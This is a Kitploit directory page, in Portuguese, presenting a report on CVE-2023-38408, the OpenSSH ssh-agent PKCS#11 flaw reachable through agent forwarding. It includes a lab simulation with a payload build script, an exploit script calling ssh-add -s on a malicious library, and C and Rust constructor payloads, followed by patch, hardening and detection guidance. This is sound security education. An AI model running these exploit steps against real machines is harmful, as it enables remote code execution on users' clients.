Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2023-38408 — Uma análise aprofundada do CVE 2023 38408, uma vulnerabilidade crítica do OpenSSH, incluindo contexto técnico, exploração em ambientes controlados e estratégias de mitigação. | Kitploit
Ferramentas/GitHubGitHub/adel2411/cve-2023-38408
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoRed Teaming
GitHubadel2411/cve-2023-38408

cve-2023-38408

Uma análise aprofundada do CVE 2023 38408, uma vulnerabilidade crítica do OpenSSH, incluindo contexto técnico, exploração em ambientes controlados e estratégias de mitigação.

Ver Repositório
5há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-38408: Entendendo e Simulando uma Vulnerabilidade Real de SSH-Agent

Índice

  1. Introdução
  2. Conceitos Básicos
  3. A Vulnerabilidade CVE-2023-38408
  4. Simulação e Testes Práticos
  5. Análise Técnica
  6. Correção e Mitigação
  7. Conclusão

1. Introdução

Objetivo do Relatório

O objetivo deste relatório é analisar o CVE-2023-38408, uma vulnerabilidade crítica do mundo real descoberta no OpenSSH, por meio tanto da compreensão teórica quanto da simulação prática. O relatório explica os fundamentos técnicos da vulnerabilidade, demonstra como ela pode ser explorada em ambientes controlados e examina as medidas de mitigação implementadas.

Importância de Analisar Vulnerabilidades do Mundo Real

Compreender vulnerabilidades de segurança do mundo real por meio de simulação prática não só ajuda a proteger sistemas, mas também fortalece a conscientização de desenvolvedores e administradores de sistemas sobre possíveis vetores de ataque. Analisar tais vulnerabilidades preenche a lacuna entre a teoria e a implementação prática de segurança.

O que é CVE-2023-38408 e por que é Importante

CVE-2023-38408 é uma vulnerabilidade que afeta o ssh-agent no OpenSSH quando o suporte PKCS#11 está habilitado. Ela permite a execução remota de código em uma máquina cliente se o usuário se conectar a um servidor comprometido com o encaminhamento de agente ativado (ssh -A). Esta vulnerabilidade tem implicações graves para qualquer sistema que dependa do OpenSSH para autenticação segura.

Detalhes do CVEInformação
ID do CVECVE-2023-38408
Pontuação CVSS9.8 (Crítico)
Versões AfetadasOpenSSH < 9.3p2
Vetor de AtaqueRede
Privilégios NecessáriosNenhum
Interação do UsuárioRequerida
ImpactoComprometimento total do sistema

2. Conceitos Básicos

2.1 Visão Geral do SSH

SSH (Secure Shell) é um protocolo de rede criptográfico usado para comunicação segura em redes não seguras. Ele fornece canais criptografados para login remoto, execução de comandos, transferência de arquivos e muito mais.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

root@kitploit:~
### 2.2 O que é ssh-agent

`ssh-agent` é um processo em segundo plano que armazena suas chaves SSH privadas descriptografadas na memória, permitindo que você as use sem redigitar senhas toda vez que se conectar a um sistema remoto.

#### Encaminhamento de Agente (ssh -A)

O encaminhamento de agente permite que um sistema remoto acesse seu `ssh-agent` local através de um socket de domínio Unix. Isso é útil para encadear conexões SSH, mas introduz riscos significativos de segurança se a máquina remota estiver comprometida.```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

Tecnicamente, quando você usa ssh -A, o cliente SSH configura um socket de domínio Unix no servidor remoto que atua como um proxy para seu ssh-agent local. A variável de ambiente SSH_AUTH_SOCK é definida para apontar para este socket proxy. Quaisquer chamadas feitas para SSH_AUTH_SOCK no servidor remoto são encaminhadas de volta através da conexão SSH e processadas pelo seu ssh-agent local.

2.3 O que é PKCS#11

PKCS#11 é uma API padrão para interagir com tokens criptográficos, como smartcards, YubiKeys ou módulos de segurança de hardware virtuais (HSMs).

Função PKCS#11FinalidadeNível de Risco
C_Initialize()Inicializar a bibliotecaBaixo
C_GetSlotList()Listar slots disponíveisBaixo
C_FindObjects()Encontrar objetos criptográficosMédio
C_Sign()Assinar dadosAlto
dlopen()Carregar biblioteca compartilhadaCrítico

Como o ssh-agent suporta PKCS#11

O ssh-agent do OpenSSH suporta o carregamento de provedores PKCS#11 (bibliotecas compartilhadas .so) usando o comando ssh-add -s /caminho/para/provider.so. Essas bibliotecas permitem que o agente interaja com módulos de hardware ou software seguros para usar chaves privadas sem expô-las diretamente.

Internamente, quando ssh-add -s é chamado, ele realiza o seguinte:

  • O arquivo .so é carregado dinamicamente na memória usando dlopen().
  • O agente resolve e chama funções como C_Initialize(), C_GetSlotList(), C_FindObjects() e C_Sign() através da API PKCS#11.
  • O provedor retorna metadados e lida com solicitações para assinar desafios de autenticação, mantendo o material da chave privada de forma segura dentro do token de hardware.

3. A Vulnerabilidade CVE-2023-38408

3.1 Resumo do CVE

AtributoDetalhes
IDCVE-2023-38408
SeveridadeAlta (CVSS 9.8)
CronologiaDivulgado em julho de 2023, corrigido no OpenSSH 9.3p2
Software AferadoVersões do OpenSSH anteriores a 9.3p2 com suporte a PKCS#11
Complexidade do AtaqueBaixa
Vetor de AtaqueRede via encaminhamento de agente SSH

3.2 Mecanismo da Vulnerabilidade

A vulnerabilidade decorre do ssh-agent carregar qualquer arquivo de objeto compartilhado (.so) fornecido via ssh-add -s, sem validar se era um provedor PKCS#11 legítimo.```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

root@kitploit:~
### 3.3 Análise de Fluxo de Ataque```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

Ao nível mais baixo, a sequência de eventos inclui:

  1. Um sistema remoto envia um pedido ao agente encaminhado, pedindo-lhe que execute ssh-add -s /caminho/para/lib.so
  2. O ssh-agent local recebe este pedido e chama cegamente dlopen("/caminho/para/lib.so", RTLD_NOW)
  3. Se o ficheiro .so tiver uma função construtora (__attribute__((constructor))), esta executa imediatamente após o carregamento
  4. Este construtor pode conter código malicioso arbitrário que é executado na máquina cliente

3.4 Cenário de Ataque Real

PassoAçãoImpacto
1Utilizador executa ssh -A user@attacker-hostEncaminhamento de agente ativado
2Atacante prepara malicious.soPayload pronto
3Atacante executa ssh-add -s /tmp/malicious.soPedido enviado ao agente da vítima
4Agente carrega biblioteca maliciosaConstrutor executa
5Código malicioso é executadoExecução remota de código obtida

4. Simulação e Testes Práticos

4.1 Configuração do Ambiente de Simulação

Para demonstrar esta vulnerabilidade num ambiente controlado, foi realizada uma simulação abrangente utilizando múltiplas contas de utilizador e terminais.

Configuração do Ambiente

ComponenteConfiguraçãoPropósito
Terminal 1utilizador victimCliente SSH (alvo)
Terminal 2utilizador attackerServidor SSH (atacante)
Chaves SSHRSA 2048-bitAutenticação sem palavras-passe
Ficheiros de testeVários scripts shellAutomação e entrega de payload

Criação das Contas de Utilizador```bash

As main user

sudo adduser victim sudo adduser attacker

root@kitploit:~
#### Configuração de Chave SSH para Encaminhamento de Agente```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 Scripts de Simulação e Implementação

Script de Conexão da Vítima (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

root@kitploit:~
#### Construtor de Payload do Atacante (`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

Script de Exploração (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

root@kitploit:~
### 4.3 Resultados e Análise da Simulação

#### Comportamento Esperado em Sistemas Vulneráveis

| **Ação**                  | **Resposta do Sistema Vulnerável**  | **Resposta do Sistema Corrigido** |
| ------------------------- | ----------------------------------- | -------------------------------- |
| `ssh-add -s malicious.so` | Biblioteca carrega, construtor executa | `agent refused operation`        |
| Execução do payload       | Cria `/tmp/exploit.log`             | Nenhuma execução                 |
| Impacto no sistema        | Execução remota de código           | Nenhum impacto                   |

#### Saída Real da Simulação

Ao executar a simulação em um sistema corrigido (OpenSSH 9.3p2+):```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

Observação Chave: Mesmo que o agente recuse a operação em versões corrigidas, esta simulação demonstra o vetor de ataque e ajuda a entender o impacto da vulnerabilidade em versões mais antigas.

4.4 Análise de Construção de Payload

Biblioteca Maliciosa Baseada em C```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

root@kitploit:~
#### Alternativa baseada em Rust

Usando a crate `ctor` para funções construtoras:```rust
// Cargo.toml
[dependencies]
ctor = "0.1"

// lib.rs
use ctor::ctor;
use std::process::Command;

#[ctor]
fn malicious_constructor() {
    Command::new("sh")
        .arg("-c")
        .arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
        .output()
        .expect("Failed to execute command");
}

5. Análise Técnica

5.1 Análise de Causa Raiz

A vulnerabilidade existe devido a várias decisões de design na implementação do ssh-agent do OpenSSH:

Problema de DesignDescriçãoImpacto
dlopen() irrestritoNenhuma validação de arquivos .soPermite execução arbitrária de código
Execução de construtorO código é executado antes da validação do PKCS#11Comprometimento imediato
Confiança no encaminhamento do agenteNenhuma autenticação para solicitações encaminhadasPossível exploração remota
Suporte padrão ao PKCS#11Recurso ativado por padrãoSuperfície de ataque mais ampla

5.2 Análise de Memória e Processo```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

root@kitploit:~
### 5.3 Mapeamento da Superfície de Ataque

| **Vetor de Ataque**  | **Requisitos**                 | **Nível de Impacto** | **Dificuldade de Detecção** |
| -------------------- | ------------------------------ | -------------------- | --------------------------- |
| Encaminhamento de Agente | `ssh -A` ativado             | Crítico              | Baixa                       |
| Arquivo .so malicioso | Acesso ao sistema de arquivos  | Crítico              | Média                       |
| Engenharia Social    | Interação do usuário           | Alto                 | Alta                        |
| Cadeia de Suprimentos | Provedor PKCS#11 comprometido | Crítico              | Muito Alta                  |

---

## 6. Correção e Mitigação

### 6.1 Como Foi Corrigido no OpenSSH 9.3p2

O OpenSSH 9.3p2 abordou esta vulnerabilidade introduzindo um comportamento padrão seguro:

| **Medida de Segurança** | **Implementação**                       | **Efeito**                              |
| ----------------------- | --------------------------------------- | --------------------------------------- |
| Desativação Padrão      | Suporte PKCS#11 desativado por padrão   | Reduz a superfície de ataque            |
| Ativação Explícita      | Requer a flag `-O allow-pkcs11`         | Consentimento do usuário necessário     |
| Validação               | Validação aprimorada de bibliotecas     | Impede a execução arbitrária de código  |

#### Mudanças de Configuração```bash
# Old behavior (vulnerable)
ssh-agent  # PKCS#11 enabled by default

# New behavior (secure)
ssh-agent -O allow-pkcs11  # Explicit opt-in required

6.2 Análise de Implementação```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

root@kitploit:~
### 6.3 Estratégias Abrangentes de Mitigação

#### Ações Imediatas

| **Prioridade** | **Ação**               | **Implementação**                                        |
| -------------- | ----------------------- | -------------------------------------------------------- |
| Alta           | Atualizar OpenSSH       | `apt update && apt upgrade openssh-client openssh-server` |
| Alta           | Desativar redirecionamento de agente | `ssh -o ForwardAgent=no`                                  |
| Média          | Auditar configurações SSH | Revisar `/etc/ssh/ssh_config`                              |
| Média          | Monitorar uso do agente | Registrar atividades do ssh-agent                        |

#### Medidas de Segurança a Longo Prazo

1. **Endurecimento da Configuração SSH**   ```
   # /etc/ssh/ssh_config
   ForwardAgent no
   HashKnownHosts yes
   VerifyHostKeyDNS yes
  1. Segmentação de Rede ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

    Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

    root@kitploit:~
  2. Monitoramento e Detecção ```bash

    Monitor ssh-agent processes

    ps aux | grep ssh-agent

    Check for unusual .so loads

    lsof -p $(pgrep ssh-agent) | grep '.so$'

    Monitor SSH_AUTH_SOCK usage

    auditctl -w /tmp -p w -k ssh_agent_monitor

    root@kitploit:~

6.4 Implementação das Melhores Práticas

Políticas de Segurança Organizacional

Área de PolíticaRequisitoMétodo de Verificação
Uso do Agente SSHAprovação documentada necessáriaAuditoria de conformidade de políticas
Encaminhamento de AgenteProibido para anfitriões não confiáveisMonitoramento de rede
Bibliotecas PKCS#11Lista branca de fornecedores aprovadosMonitoramento de integridade de arquivos
Gerenciamento de VersãoOpenSSH 9.3p2+ obrigatórioVarredura automatizada de vulnerabilidades

7. Conclusão

7.1 Principais Descobertas

A CVE-2023-38408 demonstra uma falha crítica de segurança que explorou a relação de confiança entre clientes e agentes SSH. Através de simulação prática, vários insights importantes emergem:

  1. Violações de Limite de Confiança: A vulnerabilidade explorou a confiança implícita em conexões encaminhadas de agentes
  2. Abuso de Construtores: Execução maliciosa de código através de construtores de bibliotecas compartilhadas ignorou todos os controles de segurança
  3. Insegurança Padrão: O suporte PKCS#11 estar ativado por padrão criou uma superfície de ataque desnecessária
  4. Riscos do Encaminhamento de Agente: A conveniência do encaminhamento de agente introduziu sérias implicações de segurança

7.2 Avaliação de Impacto

Categoria de ImpactoSeveridadeDescrição
ConfidencialidadeCríticoAcesso completo aos materiais criptográficos do usuário
IntegridadeCríticoCapacidade de modificar arquivos e configurações do sistema
DisponibilidadeAltoPotencial para interrupção do sistema ou negação de serviço
AutenticaçãoCríticoComprometimento dos mecanismos de autenticação SSH

7.3 Lições Aprendidas

Esta análise de vulnerabilidade, aprimorada por simulação prática, fornece várias lições críticas:

  1. Padrões Seguros: Recursos de segurança devem estar desativados por padrão e exigir ativação explícita
  2. Validação de Entrada: Todas as entradas externas, incluindo arquivos de bibliotecas, devem ser rigorosamente validadas
  3. Princípio do Menor Privilégio: O encaminhamento de agente deve ser restrito apenas a ambientes confiáveis
  4. Defesa em Profundidade: Múltiplas camadas de segurança previnem pontos únicos de falha

7.4 Considerações Futuras```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring

root@kitploit:~
### 7.5 Recomendações Finais

Com base na análise abrangente e nos resultados da simulação:

1. **Imediato**: Atualizar todas as instalações do OpenSSH para a versão 9.3p2 ou posterior
2. **Curto prazo**: Implementar políticas rígidas de encaminhamento de agente e monitoramento
3. **Longo prazo**: Adotar arquitetura de rede de confiança zero e autenticação baseada em certificados
4. **Contínuo**: Manter programas contínuos de educação em segurança e avaliação de vulnerabilidades

**Conclusão Principal**: A CVE-2023-38408 serve como um poderoso lembrete de que recursos de conveniência como o encaminhamento de agente podem se tornar vulnerabilidades críticas de segurança quando não implementados corretamente. A combinação de compreensão teórica e simulação prática fornece a base para construir defesas robustas contra ataques semelhantes no futuro.

Por meio desta análise abrangente, os profissionais de segurança podem entender melhor as relações intrincadas entre os componentes do SSH e implementar salvaguardas adequadas para proteger suas infraestruturas contra vulnerabilidades semelhantes.
Baixar ferramenta